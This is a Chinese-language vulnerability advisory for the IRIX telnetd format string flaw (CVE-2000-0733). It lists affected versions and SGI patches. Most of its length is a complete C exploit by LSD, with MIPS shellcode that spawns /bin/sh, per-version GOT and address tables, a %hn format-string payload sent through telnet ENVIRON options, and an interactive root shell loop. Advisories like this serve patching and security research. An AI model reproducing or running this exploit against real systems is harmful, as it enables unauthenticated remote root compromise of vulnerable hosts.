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安全漏洞
IRIX telnetd远程格式化串溢出漏洞
发布日期：2000-08-14
更新日期：2000-08-14
受影响系统：
SGI IRIX telnetd描述：
- SGI IRIX 6.5.8
- SGI IRIX 6.5.7
- SGI IRIX 6.5.6
- SGI IRIX 6.5.4
- SGI IRIX 6.5.3
- SGI IRIX 6.5.2m
- SGI IRIX 6.5.2f
- SGI IRIX 6.5.2
- SGI IRIX 6.5.1
- SGI IRIX 6.5
- SGI IRIX 6.4
- SGI IRIX 6.3
- SGI IRIX 6.2
- SGI IRIX 6.1
- SGI IRIX 6.0.1XFS
- SGI IRIX 6.0.1
- SGI IRIX 6.0
- SGI IRIX 5.3XFS
- SGI IRIX 5.3
- SGI IRIX 5.2
BUGTRAQ ID: 1572
CVE(CAN) ID: CVE-2000-0733
telnet服务是流行的远程终端连接访问工具。
IRIX telnetd实现上存在格式化串溢出漏洞，远程攻击者可以利用此漏洞无需认证直接得到服务器的root用户权限。
IRIX telnetd 在收到IAC-SB-TELOPT_ENVIRON请求后会设置_RLT环境变量，当调用syslog()和sprintf()函数的时候，错误的将用户输入的数据作为格式化串的内容。这导致远程用户可以任意覆盖进程空间的内容，通过修改GOT入口参数等方法，攻击者可以远程获得root权限。
<*来源：LSD （contact@lsd-pl.net）
链接：http://security-archive.merton.ox.ac.uk/bugtraq-200008/0208.html
ftp://patches.sgi.com/support/free/security/advisories/20000801-01-A
http://www.cert.org/advisories/CA-1995-14.html
ftp://patches.sgi.com/support/free/security/advisories/20000801-01-P
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*## copyright LAST STAGE OF DELIRIUM jul 2000 poland *://lsd-pl.net/ #*/
/*## telnetd #*/
/* update: */
/* code was slightly modified in order to properly compile with gcc and to */
/* work from within little endian machines */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x02\x14" /* addi $ra,$ra,532 */
"\x23\xe4\xfe\x08" /* addi $a0,$ra,-504 */
"\x23\xe5\xfe\x10" /* addi $a1,$ra,-496 */
"\xaf\xe4\xfe\x10" /* sw $a0,-496($ra) */
"\xaf\xe0\xfe\x14" /* sw $zero,-492($ra) */
"\xa3\xe0\xfe\x0f" /* sb $zero,-497($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;
typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;
tabent1_t tab1[]={
{ "IRIX 6.2 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: no patches " },
{ "IRIX 6.2 libc.so.1: no patches telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 1918|2086 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.2 libc.so.1: 3490|3723|3771 telnetd: 1485|2070|3117|3414 " },
{ "IRIX 6.3 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 2087 telnetd: no patches " },
{ "IRIX 6.3 libc.so.1: 3535|3737|3770 telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: no patches telnetd: no patches " },
{ "IRIX 6.4 libc.so.1: 3491|3769|3738 telnetd: no patches " },
{ "IRIX 6.5-6.5.8m 6.5-6.5.7f telnetd: no patches " },
{ "IRIX 6.5.8f telnetd: no patches " }
};
tabent2_t tab2[]={
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
{ 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
{ 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
{ 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
{ 1, 0x5e, 0x0fb576d8, 88, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
{ 1, 0x5e, 0x7fc496e8, 77, 0x7fc4cf98, 0x1c },
{ 1, 0x5e, 0x7fc496e0, 77, 0x7fc4cf98, 0x1c }
};
char env_value[1024];
int prepare_env(int vers){
int i,adr,pch,adrh,adrl;
char *b;
pch=tab2[vers].got+(tab2[vers].g_ofs*4);
adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
adrh=(adr>>16)-tab2[vers].len;
adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;
b=env_value;
if(!tab2[vers].flg){
for(i=0;i<1;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=' ';
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
}else{
for(i=0;i<5;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
for(i=0;i<4;i++) *b++=' ';
for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
for(i=0;i<3;i++) *b++=' ';
for(i=0;i<strlen(shellcode);i++){
*b++=shellcode[i];
if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
}
sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
}
b+=strlen(b);
return(b-env_value);
}
main(int argc,char **argv){
char buffer[8192];
int i,c,sck,il,ih,cnt,vers=65;
struct hostent *hp;
struct sockaddr_in adr;
printf("copyright LAST STAGE OF DELIRIUM jul 2000 poland //lsd-pl.net/\n");
printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");
if(argc<2){
printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"v:"))!=-1){
switch(c){
case 'v': vers=atoi(optarg);
}
}
switch(vers){
case 62: il=0;ih=5; break;
case 63: il=6;ih=8; break;
case 64: il=9;ih=10; break;
case 65: il=11;ih=12; break;
default: exit(-1);
}
for(i=il;i<=ih;i++){
printf(".");fflush(stdout);
sck=socket(AF_INET,SOCK_STREAM,0);
adr.sin_family=AF_INET;
adr.sin_port=htons(23);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
perror("error");exit(-1);
}
cnt=prepare_env(i);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
sleep(1);
memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
sprintf(&buffer[10],"%s\xff\xf0",env_value);
write(sck,buffer,10+cnt+2);
if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
printf("warning: telnetd seems to be used with tcp wrapper\n");
}
write(sck,"/bin/uname -a\n",14);
if((cnt=read(sck,buffer,sizeof(buffer)))>0){
printf("\n%s\n\n",tab1[i].vers);
write(1,buffer,cnt);
break;
}
close(sck);
}
if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
建议：
厂商补丁：
SGI
---
SGI已经为此发布了一个安全公告（20000801-01-P）以及相应补丁:
20000801-01-P：IRIX telnetd vulnerability
链接：ftp://patches.sgi.com/support/free/security/advisories/20000801-01-P
补丁下载：
IRIX已经提供了一部分系统的补丁程序,列表如下:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x unknown Note 1
IRIX 4.x unknown Note 1
IRIX 5.0.x unknown Note 1
IRIX 5.1.x unknown Note 1
IRIX 5.2 yes not avail Note 1 & 3
IRIX 5.3 yes in progress Note 1 & 3
IRIX 6.0.x yes not avail Note 1 & 3
IRIX 6.1 yes not avail Note 1 & 3
IRIX 6.2 yes 4050 Note 2 & 3
IRIX 6.3 yes in progress Note 1
IRIX 6.4 yes in progress Note 1
IRIX 6.5 yes 4044 Note 3 & 4
IRIX 6.5.1 yes 4044 Note 3 & 4
IRIX 6.5.2 yes 4044 Note 3 & 4
IRIX 6.5.3 yes 4044 Note 3 & 4
IRIX 6.5.4 yes 4044 Note 3 & 4
IRIX 6.5.5 yes 4044 Note 3 & 4
IRIX 6.5.6 yes 4044 Note 3 & 4
IRIX 6.5.7 yes 4044 Note 3 & 4
IRIX 6.5.8 yes 4044 Note 3 & 4
IRIX 6.5.9 yes 4044 Note 3 & 4
IRIX 6.5.10 no Note 4
所有补丁都可以从下列地址下载：
http://support.sgi.com/irix/
ftp://patches.sgi.com/
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